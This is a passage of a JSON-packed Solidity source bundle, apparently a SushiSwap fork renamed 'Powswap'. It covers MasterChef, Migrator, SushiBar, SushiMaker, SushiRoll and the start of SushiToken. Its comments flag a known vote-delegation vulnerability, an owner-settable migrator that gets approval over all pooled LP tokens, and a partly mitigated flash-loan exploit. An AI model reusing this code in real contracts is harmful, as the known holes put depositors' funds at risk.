SUSHI TOKEN!\n SushiToken public sushi;\n // Dev address.\n address public devaddr;\n // Block number when bonus SUSHI period ends.\n uint256 public bonusEndBlock;\n // SUSHI tokens created per block.\n uint256 public sushiPerBlock;\n // Bonus muliplier for early sushi makers.\n uint256 public constant BONUS_MULTIPLIER = 10;\n // The migrator contract. It has a lot of power. Can only be set through governance (owner).\n IMigratorChef public migrator;\n // Info of each pool.\n PoolInfo[] public poolInfo;\n // Info of each user that stakes LP tokens.\n mapping(uint256 => mapping(address => UserInfo)) public userInfo;\n // Total allocation poitns. Must be the sum of all allocation points in all pools.\n uint256 public totalAllocPoint = 0;\n // The block number when SUSHI mining starts.\n uint256 public startBlock;\n event Deposit(address indexed user, uint256 indexed pid, uint256 amount);\n event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);\n event EmergencyWithdraw(\n address indexed user,\n uint256 indexed pid,\n uint256 amount\n );\n\n constructor(\n SushiToken _sushi,\n address _devaddr,\n uint256 _sushiPerBlock,\n uint256 _startBlock,\n uint256 _bonusEndBlock\n ) public {\n sushi = _sushi;\n devaddr = _devaddr;\n sushiPerBlock = _sushiPerBlock;\n bonusEndBlock = _bonusEndBlock;\n startBlock = _startBlock;\n }\n\n function poolLength() external view returns (uint256) {\n return poolInfo.length;\n }\n\n // Add a new lp to the pool. Can only be called by the owner.\n // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.\n function add(\n uint256 _allocPoint,\n IERC20 _lpToken,\n bool _withUpdate\n ) public onlyOwner {\n if (_withUpdate) {\n massUpdatePools();\n }\n uint256 lastRewardBlock =\n block.number > startBlock ? block.number : startBlock;\n totalAllocPoint = totalAllocPoint.add(_allocPoint);\n poolInfo.push(\n PoolInfo({\n lpToken: _lpToken,\n allocPoint: _allocPoint,\n lastRewardBlock: lastRewardBlock,\n accSushiPerShare: 0\n })\n );\n }\n\n // Update the given pool's SUSHI allocation point. Can only be called by the owner.\n function set(\n uint256 _pid,\n uint256 _allocPoint,\n bool _withUpdate\n ) public onlyOwner {\n if (_withUpdate) {\n massUpdatePools();\n }\n totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(\n _allocPoint\n );\n poolInfo[_pid].allocPoint = _allocPoint;\n }\n\n // Set the migrator contract. Can only be called by the owner.\n function setMigrator(IMigratorChef _migrator) public onlyOwner {\n migrator = _migrator;\n }\n\n // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.\n function migrate(uint256 _pid) public {\n require(address(migrator) != address(0), \"migrate: no migrator\");\n PoolInfo storage pool = poolInfo[_pid];\n IERC20 lpToken = pool.lpToken;\n uint256 bal = lpToken.balanceOf(address(this));\n lpToken.safeApprove(address(migrator), bal);\n IERC20 newLpToken = migrator.migrate(lpToken);\n require(bal == newLpToken.balanceOf(address(this)), \"migrate: bad\");\n pool.lpToken = newLpToken;\n }\n\n // Return reward multiplier over the given _from to _to block.\n function getMultiplier(uint256 _from, uint256 _to)\n public\n view\n returns (uint256)\n {\n if (_to <= bonusEndBlock) {\n return _to.sub(_from).mul(BONUS_MULTIPLIER);\n } else if (_from >= bonusEndBlock) {\n return _to.sub(_from);\n } else {\n return\n bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(\n _to.sub(bonusEndBlock)\n );\n }\n }\n\n // View function to see pending SUSHIs on frontend.\n function pendingSushi(uint256 _pid, address _user)\n external\n view\n returns (uint256)\n {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][_user];\n uint256 accSushiPerShare = pool.accSushiPerShare;\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\n uint256 multiplier =\n getMultiplier(pool.lastRewardBlock, block.number);\n uint256 sushiReward =\n multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(\n totalAllocPoint\n );\n accSushiPerShare = accSushiPerShare.add(\n sushiReward.mul(1e12).div(lpSupply)\n );\n }\n return user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt);\n }\n\n // Update reward vairables for all pools. Be careful of gas spending!\n function massUpdatePools() public {\n uint256 length = poolInfo.length;\n for (uint256 pid = 0; pid < length; ++pid) {\n updatePool(pid);\n }\n }\n\n // Update reward variables of the given pool to be up-to-date.\n function updatePool(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\n uint256 sushiReward =\n multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(\n totalAllocPoint\n );\n sushi.mint(devaddr, sushiReward.div(10));\n sushi.mint(address(this), sushiReward);\n pool.accSushiPerShare = pool.accSushiPerShare.add(\n sushiReward.mul(1e12).div(lpSupply)\n );\n pool.lastRewardBlock = block.number;\n }\n\n // Deposit LP tokens to MasterChef for SUSHI allocation.\n function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending =\n user.amount.mul(pool.accSushiPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safeSushiTransfer(msg.sender, pending);\n }\n pool.lpToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n user.amount = user.amount.add(_amount);\n user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n require(user.amount >= _amount, \"withdraw: not good\");\n updatePool(_pid);\n uint256 pending =\n user.amount.mul(pool.accSushiPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safeSushiTransfer(msg.sender, pending);\n user.amount = user.amount.sub(_amount);\n user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\n emit Withdraw(msg.sender, _pid, _amount);\n }\n\n // Withdraw without caring about rewards. EMERGENCY ONLY.\n function emergencyWithdraw(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n pool.lpToken.safeTransfer(address(msg.sender), user.amount);\n emit EmergencyWithdraw(msg.sender, _pid, user.amount);\n user.amount = 0;\n user.rewardDebt = 0;\n }\n\n // Safe sushi transfer function, just in case if rounding error causes pool to not have enough SUSHIs.\n function safeSushiTransfer(address _to, uint256 _amount) internal {\n uint256 sushiBal = sushi.balanceOf(address(this));\n if (_amount > sushiBal) {\n sushi.transfer(_to, sushiBal);\n } else {\n sushi.transfer(_to, _amount);\n }\n }\n\n // Update dev address by the previous dev.\n function dev(address _devaddr) public {\n require(msg.sender == devaddr, \"dev: wut?\");\n devaddr = _devaddr;\n }\n\n // Update bonus end block\n function updateBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner {\n bonusEndBlock = _bonusEndBlock;\n }\n}\n", + "contracts/Migrator.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"./uniswapv2/interfaces/IUniswapV2Pair.sol\";\nimport \"./uniswapv2/interfaces/IUniswapV2Factory.sol\";\n\n\ncontract Migrator {\n address public chef;\n address public oldFactory;\n IUniswapV2Factory public factory;\n uint256 public notBeforeBlock;\n uint256 public desiredLiquidity = uint256(-1);\n\n constructor(\n address _chef,\n address _oldFactory,\n IUniswapV2Factory _factory,\n uint256 _notBeforeBlock\n ) public {\n chef = _chef;\n oldFactory = _oldFactory;\n factory = _factory;\n notBeforeBlock = _notBeforeBlock;\n }\n\n function migrate(IUniswapV2Pair orig) public returns (IUniswapV2Pair) {\n require(msg.sender == chef, \"not from master chef\");\n require(block.number >= notBeforeBlock, \"too early to migrate\");\n require(orig.factory() == oldFactory, \"not from old factory\");\n address token0 = orig.token0();\n address token1 = orig.token1();\n IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token0, token1));\n if (pair == IUniswapV2Pair(address(0))) {\n pair = IUniswapV2Pair(factory.createPair(token0, token1));\n }\n uint256 lp = orig.balanceOf(msg.sender);\n if (lp == 0) return pair;\n desiredLiquidity = lp;\n orig.transferFrom(msg.sender, address(orig), lp);\n orig.burn(address(pair));\n pair.mint(msg.sender);\n desiredLiquidity = uint256(-1);\n return pair;\n }\n}", + "contracts/Ownable.sol": "// SPDX-License-Identifier: MIT\n// Audit on 5-Jan-2021 by Keno and BoringCrypto\n\n// P1 - P3: OK\npragma solidity 0.6.12;\n\n// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol\n// Edited by BoringCrypto\n\n// T1 - T4: OK\ncontract OwnableData {\n // V1 - V5: OK\n address public owner;\n // V1 - V5: OK\n address public pendingOwner;\n}\n\n// T1 - T4: OK\ncontract Ownable is OwnableData {\n // E1: OK\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n constructor () internal {\n owner = msg.sender;\n emit OwnershipTransferred(address(0), msg.sender);\n }\n\n // F1 - F9: OK\n // C1 - C21: OK\n function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner {\n if (direct) {\n // Checks\n require(newOwner != address(0) || renounce, \"Ownable: zero address\");\n\n // Effects\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n } else {\n // Effects\n pendingOwner = newOwner;\n }\n }\n\n // F1 - F9: OK\n // C1 - C21: OK\n function claimOwnership() public {\n address _pendingOwner = pendingOwner;\n\n // Checks\n require(msg.sender == _pendingOwner, \"Ownable: caller != pending owner\");\n\n // Effects\n emit OwnershipTransferred(owner, _pendingOwner);\n owner = _pendingOwner;\n pendingOwner = address(0);\n }\n\n // M1 - M5: OK\n // C1 - C21: OK\n modifier onlyOwner() {\n require(msg.sender == owner, \"Ownable: caller is not the owner\");\n _;\n }\n}\n", + "contracts/SushiBar.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\n\n// SushiBar is the coolest bar in town. You come in with some Sushi, and leave with more! The longer you stay, the more Sushi you get.\n//\n// This contract handles swapping to and from xSushi, SushiSwap's staking token.\ncontract SushiBar is ERC20(\"SushiBar\", \"xSUSHI\"){\n using SafeMath for uint256;\n IERC20 public sushi;\n\n // Define the Sushi token contract\n constructor(IERC20 _sushi) public {\n sushi = _sushi;\n }\n\n // Enter the bar. Pay some SUSHIs. Earn some shares.\n // Locks Sushi and mints xSushi\n function enter(uint256 _amount) public {\n // Gets the amount of Sushi locked in the contract\n uint256 totalSushi = sushi.balanceOf(address(this));\n // Gets the amount of xSushi in existence\n uint256 totalShares = totalSupply();\n // If no xSushi exists, mint it 1:1 to the amount put in\n if (totalShares == 0 || totalSushi == 0) {\n _mint(msg.sender, _amount);\n } \n // Calculate and mint the amount of xSushi the Sushi is worth. The ratio will change overtime, as xSushi is burned/minted and Sushi deposited + gained from fees / withdrawn.\n else {\n uint256 what = _amount.mul(totalShares).div(totalSushi);\n _mint(msg.sender, what);\n }\n // Lock the Sushi in the contract\n sushi.transferFrom(msg.sender, address(this), _amount);\n }\n\n // Leave the bar. Claim back your SUSHIs.\n // Unlocks the staked + gained Sushi and burns xSushi\n function leave(uint256 _share) public {\n // Gets the amount of xSushi in existence\n uint256 totalShares = totalSupply();\n // Calculates the amount of Sushi the xSushi is worth\n uint256 what = _share.mul(sushi.balanceOf(address(this))).div(totalShares);\n _burn(msg.sender, _share);\n sushi.transfer(msg.sender, what);\n }\n}\n", + "contracts/SushiMaker.sol": "// SPDX-License-Identifier: MIT\n\n// P1 - P3: OK\npragma solidity 0.6.12;\nimport \"./libraries/SafeMath.sol\";\nimport \"./libraries/SafeERC20.sol\";\n\nimport \"./uniswapv2/interfaces/IUniswapV2ERC20.sol\";\nimport \"./uniswapv2/interfaces/IUniswapV2Pair.sol\";\nimport \"./uniswapv2/interfaces/IUniswapV2Factory.sol\";\n\nimport \"./Ownable.sol\";\n\n// SushiMaker is MasterChef's left hand and kinda a wizard. He can cook up Sushi from pretty much anything!\n// This contract handles \"serving up\" rewards for xSushi holders by trading tokens collected from fees for Sushi.\n\n// T1 - T4: OK\ncontract SushiMaker is Ownable {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n // V1 - V5: OK\n IUniswapV2Factory public immutable factory;\n //0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac\n // V1 - V5: OK\n address public immutable bar;\n //0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272\n // V1 - V5: OK\n address private immutable sushi;\n //0x6B3595068778DD592e39A122f4f5a5cF09C90fE2\n // V1 - V5: OK\n address private immutable weth;\n //0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\n\n // V1 - V5: OK\n mapping(address => address) internal _bridges;\n\n // E1: OK\n event LogBridgeSet(address indexed token, address indexed bridge);\n // E1: OK\n event LogConvert(\n address indexed server,\n address indexed token0,\n address indexed token1,\n uint256 amount0,\n uint256 amount1,\n uint256 amountSUSHI\n );\n\n constructor(\n address _factory,\n address _bar,\n address _sushi,\n address _weth\n ) public {\n factory = IUniswapV2Factory(_factory);\n bar = _bar;\n sushi = _sushi;\n weth = _weth;\n }\n\n // F1 - F10: OK\n // C1 - C24: OK\n function bridgeFor(address token) public view returns (address bridge) {\n bridge = _bridges[token];\n if (bridge == address(0)) {\n bridge = weth;\n }\n }\n\n // F1 - F10: OK\n // C1 - C24: OK\n function setBridge(address token, address bridge) external onlyOwner {\n // Checks\n require(\n token != sushi && token != weth && token != bridge,\n \"SushiMaker: Invalid bridge\"\n );\n\n // Effects\n _bridges[token] = bridge;\n emit LogBridgeSet(token, bridge);\n }\n\n // M1 - M5: OK\n // C1 - C24: OK\n // C6: It's not a fool proof solution, but it prevents flash loans, so here it's ok to use tx.origin\n modifier onlyEOA() {\n // Try to make flash-loan exploit harder to do by only allowing externally owned addresses.\n require(msg.sender == tx.origin, \"SushiMaker: must use EOA\");\n _;\n }\n\n // F1 - F10: OK\n // F3: _convert is separate to save gas by only checking the 'onlyEOA' modifier once in case of convertMultiple\n // F6: There is an exploit to add lots of SUSHI to the bar, run convert, then remove the SUSHI again.\n // As the size of the SushiBar has grown, this requires large amounts of funds and isn't super profitable anymore\n // The onlyEOA modifier prevents this being done with a flash loan.\n // C1 - C24: OK\n function convert(address token0, address token1) external onlyEOA() {\n _convert(token0, token1);\n }\n\n // F1 - F10: OK, see convert\n // C1 - C24: OK\n // C3: Loop is under control of the caller\n function convertMultiple(\n address[] calldata token0,\n address[] calldata token1\n ) external onlyEOA() {\n // TODO: This can be optimized a fair bit, but this is safer and simpler for now\n uint256 len = token0.length;\n for (uint256 i = 0; i < len; i++) {\n _convert(token0[i], token1[i]);\n }\n }\n\n // F1 - F10: OK\n // C1- C24: OK\n function _convert(address token0, address token1) internal {\n // Interactions\n // S1 - S4: OK\n IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token0, token1));\n require(address(pair) != address(0), \"SushiMaker: Invalid pair\");\n // balanceOf: S1 - S4: OK\n // transfer: X1 - X5: OK\n IERC20(address(pair)).safeTransfer(\n address(pair),\n pair.balanceOf(address(this))\n );\n // X1 - X5: OK\n (uint256 amount0, uint256 amount1) = pair.burn(address(this));\n if (token0 != pair.token0()) {\n (amount0, amount1) = (amount1, amount0);\n }\n emit LogConvert(\n msg.sender,\n token0,\n token1,\n amount0,\n amount1,\n _convertStep(token0, token1, amount0, amount1)\n );\n }\n\n // F1 - F10: OK\n // C1 - C24: OK\n // All safeTransfer, _swap, _toSUSHI, _convertStep: X1 - X5: OK\n function _convertStep(\n address token0,\n address token1,\n uint256 amount0,\n uint256 amount1\n ) internal returns (uint256 sushiOut) {\n // Interactions\n if (token0 == token1) {\n uint256 amount = amount0.add(amount1);\n if (token0 == sushi) {\n IERC20(sushi).safeTransfer(bar, amount);\n sushiOut = amount;\n } else if (token0 == weth) {\n sushiOut = _toSUSHI(weth, amount);\n } else {\n address bridge = bridgeFor(token0);\n amount = _swap(token0, bridge, amount, address(this));\n sushiOut = _convertStep(bridge, bridge, amount, 0);\n }\n } else if (token0 == sushi) {\n // eg. SUSHI - ETH\n IERC20(sushi).safeTransfer(bar, amount0);\n sushiOut = _toSUSHI(token1, amount1).add(amount0);\n } else if (token1 == sushi) {\n // eg. USDT - SUSHI\n IERC20(sushi).safeTransfer(bar, amount1);\n sushiOut = _toSUSHI(token0, amount0).add(amount1);\n } else if (token0 == weth) {\n // eg. ETH - USDC\n sushiOut = _toSUSHI(\n weth,\n _swap(token1, weth, amount1, address(this)).add(amount0)\n );\n } else if (token1 == weth) {\n // eg. USDT - ETH\n sushiOut = _toSUSHI(\n weth,\n _swap(token0, weth, amount0, address(this)).add(amount1)\n );\n } else {\n // eg. MIC - USDT\n address bridge0 = bridgeFor(token0);\n address bridge1 = bridgeFor(token1);\n if (bridge0 == token1) {\n // eg. MIC - USDT - and bridgeFor(MIC) = USDT\n sushiOut = _convertStep(\n bridge0,\n token1,\n _swap(token0, bridge0, amount0, address(this)),\n amount1\n );\n } else if (bridge1 == token0) {\n // eg. WBTC - DSD - and bridgeFor(DSD) = WBTC\n sushiOut = _convertStep(\n token0,\n bridge1,\n amount0,\n _swap(token1, bridge1, amount1, address(this))\n );\n } else {\n sushiOut = _convertStep(\n bridge0,\n bridge1, // eg. USDT - DSD - and bridgeFor(DSD) = WBTC\n _swap(token0, bridge0, amount0, address(this)),\n _swap(token1, bridge1, amount1, address(this))\n );\n }\n }\n }\n\n // F1 - F10: OK\n // C1 - C24: OK\n // All safeTransfer, swap: X1 - X5: OK\n function _swap(\n address fromToken,\n address toToken,\n uint256 amountIn,\n address to\n ) internal returns (uint256 amountOut) {\n // Checks\n // X1 - X5: OK\n IUniswapV2Pair pair =\n IUniswapV2Pair(factory.getPair(fromToken, toToken));\n require(address(pair) != address(0), \"SushiMaker: Cannot convert\");\n\n // Interactions\n // X1 - X5: OK\n (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();\n uint256 amountInWithFee = amountIn.mul(997);\n if (fromToken == pair.token0()) {\n amountOut =\n amountInWithFee.mul(reserve1) /\n reserve0.mul(1000).add(amountInWithFee);\n IERC20(fromToken).safeTransfer(address(pair), amountIn);\n pair.swap(0, amountOut, to, new bytes(0));\n // TODO: Add maximum slippage?\n } else {\n amountOut =\n amountInWithFee.mul(reserve0) /\n reserve1.mul(1000).add(amountInWithFee);\n IERC20(fromToken).safeTransfer(address(pair), amountIn);\n pair.swap(amountOut, 0, to, new bytes(0));\n // TODO: Add maximum slippage?\n }\n }\n\n // F1 - F10: OK\n // C1 - C24: OK\n function _toSUSHI(address token, uint256 amountIn)\n internal\n returns (uint256 amountOut)\n {\n // X1 - X5: OK\n amountOut = _swap(token, sushi, amountIn, bar);\n }\n}\n", + "contracts/SushiMakerKashi.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\nimport \"./libraries/SafeMath.sol\";\nimport \"./libraries/SafeERC20.sol\";\n\nimport \"./uniswapv2/interfaces/IUniswapV2Pair.sol\";\nimport \"./uniswapv2/interfaces/IUniswapV2Factory.sol\";\n\nimport \"./Ownable.sol\";\n\ninterface IBentoBoxWithdraw {\n function withdraw(\n IERC20 token_,\n address from,\n address to,\n uint256 amount,\n uint256 share\n ) external returns (uint256 amountOut, uint256 shareOut);\n}\n\ninterface IKashiWithdrawFee {\n function asset() external view returns (address);\n function balanceOf(address account) external view returns (uint256);\n function withdrawFees() external;\n function removeAsset(address to, uint256 fraction) external returns (uint256 share);\n}\n\n// SushiMakerKashi is MasterChef's left hand and kinda a wizard. He can cook up Sushi from pretty much anything!\n// This contract handles \"serving up\" rewards for xSushi holders by trading tokens collected from Kashi fees for Sushi.\ncontract SushiMakerKashi is Ownable {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n IUniswapV2Factory private immutable factory;\n //0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac\n address private immutable bar;\n //0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272\n IBentoBoxWithdraw private immutable bentoBox;\n //0xF5BCE5077908a1b7370B9ae04AdC565EBd643966 \n address private immutable sushi;\n //0x6B3595068778DD592e39A122f4f5a5cF09C90fE2\n address private immutable weth;\n //0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\n bytes32 private immutable pairCodeHash;\n //0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303\n\n mapping(address => address) private _bridges;\n\n event LogBridgeSet(address indexed token, address indexed bridge);\n event LogConvert(\n address indexed server,\n address indexed token0,\n uint256 amount0,\n uint256 amountBENTO,\n uint256 amountSUSHI\n );\n\n constructor(\n IUniswapV2Factory _factory,\n address _bar,\n IBentoBoxWithdraw _bentoBox,\n address _sushi,\n address _weth,\n bytes32 _pairCodeHash\n ) public {\n factory = _factory;\n bar = _bar;\n bentoBox = _bentoBox;\n sushi = _sushi;\n weth = _weth;\n pairCodeHash = _pairCodeHash;\n }\n\n function setBridge(address token, address bridge) external onlyOwner {\n // Checks\n require(\n token != sushi && token != weth && token != bridge,\n \"Maker: Invalid bridge\"\n );\n // Effects\n _bridges[token] = bridge;\n emit LogBridgeSet(token, bridge);\n }\n\n modifier onlyEOA() {\n // Try to make flash-loan exploit harder to do by only allowing externally-owned addresses.\n require(msg.sender == tx.origin, \"Maker: Must use EOA\");\n _;\n }\n\n function convert(IKashiWithdrawFee kashiPair) external onlyEOA {\n _convert(kashiPair);\n }\n\n function convertMultiple(IKashiWithdrawFee[] calldata kashiPair) external onlyEOA {\n for (uint256 i = 0; i < kashiPair.length; i++) {\n _convert(kashiPair[i]);\n }\n }\n\n function _convert(IKashiWithdrawFee kashiPair) private {\n // update Kashi fees for this Maker contract (`feeTo`)\n kashiPair.withdrawFees();\n\n // convert updated Kashi balance to Bento shares\n uint256 bentoShares = kashiPair.removeAsset(address(this), kashiPair.balanceOf(address(this)));\n\n // convert Bento shares to underlying Kashi asset (`token0`) balance (`amount0`) for Maker\n address token0 = kashiPair.asset();\n (uint256 amount0, ) = bentoBox.withdraw(IERC20(token0), address(this), address(this), 0, bentoShares);\n\n emit LogConvert(\n msg.sender,\n token0,\n amount0,\n bentoShares,\n _convertStep(token0, amount0)\n );\n }\n\n function _convertStep(address token0, uint256 amount0) private returns (uint256 sushiOut) {\n if (token0 == sushi) {\n IERC20(token0).safeTransfer(bar, amount0);\n sushiOut = amount0;\n } else if (token0 == weth) {\n sushiOut = _swap(token0, sushi, amount0, bar);\n } else {\n address bridge = _bridges[token0];\n if (bridge == address(0)) {\n bridge = weth;\n }\n uint256 amountOut = _swap(token0, bridge, amount0, address(this));\n sushiOut = _convertStep(bridge, amountOut);\n }\n }\n\n function _swap(\n address fromToken,\n address toToken,\n uint256 amountIn,\n address to\n ) private returns (uint256 amountOut) {\n (address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);\n IUniswapV2Pair pair =\n IUniswapV2Pair(\n uint256(\n keccak256(abi.encodePacked(hex\"ff\", factory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))\n )\n );\n \n (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();\n uint256 amountInWithFee = amountIn.mul(997);\n \n if (toToken > fromToken) {\n amountOut =\n amountInWithFee.mul(reserve1) /\n reserve0.mul(1000).add(amountInWithFee);\n IERC20(fromToken).safeTransfer(address(pair), amountIn);\n pair.swap(0, amountOut, to, \"\");\n } else {\n amountOut =\n amountInWithFee.mul(reserve0) /\n reserve1.mul(1000).add(amountInWithFee);\n IERC20(fromToken).safeTransfer(address(pair), amountIn);\n pair.swap(amountOut, 0, to, \"\");\n }\n }\n}\n", + "contracts/SushiRoll.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/SafeERC20.sol\";\nimport \"./uniswapv2/interfaces/IUniswapV2Pair.sol\";\nimport \"./uniswapv2/interfaces/IUniswapV2Router01.sol\";\nimport \"./uniswapv2/interfaces/IUniswapV2Factory.sol\";\nimport \"./uniswapv2/libraries/UniswapV2Library.sol\";\n\n// SushiRoll helps your migrate your existing Uniswap LP tokens to SushiSwap LP ones\ncontract SushiRoll {\n using SafeERC20 for IERC20;\n\n IUniswapV2Router01 public oldRouter;\n IUniswapV2Router01 public router;\n\n constructor(IUniswapV2Router01 _oldRouter, IUniswapV2Router01 _router) public {\n oldRouter = _oldRouter;\n router = _router;\n }\n\n function migrateWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public {\n IUniswapV2Pair pair = IUniswapV2Pair(pairForOldRouter(tokenA, tokenB));\n pair.permit(msg.sender, address(this), liquidity, deadline, v, r, s);\n\n migrate(tokenA, tokenB, liquidity, amountAMin, amountBMin, deadline);\n }\n\n // msg.sender should have approved 'liquidity' amount of LP token of 'tokenA' and 'tokenB'\n function migrate(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n uint256 deadline\n ) public {\n require(deadline >= block.timestamp, 'SushiSwap: EXPIRED');\n\n // Remove liquidity from the old router with permit\n (uint256 amountA, uint256 amountB) = removeLiquidity(\n tokenA,\n tokenB,\n liquidity,\n amountAMin,\n amountBMin,\n deadline\n );\n\n // Add liquidity to the new router\n (uint256 pooledAmountA, uint256 pooledAmountB) = addLiquidity(tokenA, tokenB, amountA, amountB);\n\n // Send remaining tokens to msg.sender\n if (amountA > pooledAmountA) {\n IERC20(tokenA).safeTransfer(msg.sender, amountA - pooledAmountA);\n }\n if (amountB > pooledAmountB) {\n IERC20(tokenB).safeTransfer(msg.sender, amountB - pooledAmountB);\n }\n }\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n uint256 deadline\n ) internal returns (uint256 amountA, uint256 amountB) {\n IUniswapV2Pair pair = IUniswapV2Pair(pairForOldRouter(tokenA, tokenB));\n pair.transferFrom(msg.sender, address(pair), liquidity);\n (uint256 amount0, uint256 amount1) = pair.burn(address(this));\n (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);\n (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);\n require(amountA >= amountAMin, 'SushiRoll: INSUFFICIENT_A_AMOUNT');\n require(amountB >= amountBMin, 'SushiRoll: INSUFFICIENT_B_AMOUNT');\n }\n\n // calculates the CREATE2 address for a pair without making any external calls\n function pairForOldRouter(address tokenA, address tokenB) internal view returns (address pair) {\n (address token0, address token1) = UniswapV2Library.sortTokens(tokenA, tokenB);\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n oldRouter.factory(),\n keccak256(abi.encodePacked(token0, token1)),\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash\n ))));\n }\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired\n ) internal returns (uint amountA, uint amountB) {\n (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired);\n address pair = UniswapV2Library.pairFor(router.factory(), tokenA, tokenB);\n IERC20(tokenA).safeTransfer(pair, amountA);\n IERC20(tokenB).safeTransfer(pair, amountB);\n IUniswapV2Pair(pair).mint(msg.sender);\n }\n\n function _addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired\n ) internal returns (uint256 amountA, uint256 amountB) {\n // create the pair if it doesn't exist yet\n IUniswapV2Factory factory = IUniswapV2Factory(router.factory());\n if (factory.getPair(tokenA, tokenB) == address(0)) {\n factory.createPair(tokenA, tokenB);\n }\n (uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(address(factory), tokenA, tokenB);\n if (reserveA == 0 && reserveB == 0) {\n (amountA, amountB) = (amountADesired, amountBDesired);\n } else {\n uint256 amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);\n if (amountBOptimal <= amountBDesired) {\n (amountA, amountB) = (amountADesired, amountBOptimal);\n } else {\n uint256 amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);\n assert(amountAOptimal <= amountADesired);\n (amountA, amountB) = (amountAOptimal, amountBDesired);\n }\n }\n }\n}\n", + "contracts/SushiToken.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\n// WARNING: There is a known vuln contained within this contract related to vote delegation, \n// it's NOT recommmended to use this in production. \n\n// SushiToken with Governance.\ncontract SushiToken is ERC20(\"Powswap\", \"POW\"), Ownable {\n /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).\n function mint(address _to, uint256 _amount) public onlyOwner {\n _mint(_to, _amount);\n _moveDelegates(address(0), _delegates[_to], _amount);\n }\n\n // Copied and modified from YAM code:\n // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol\n // 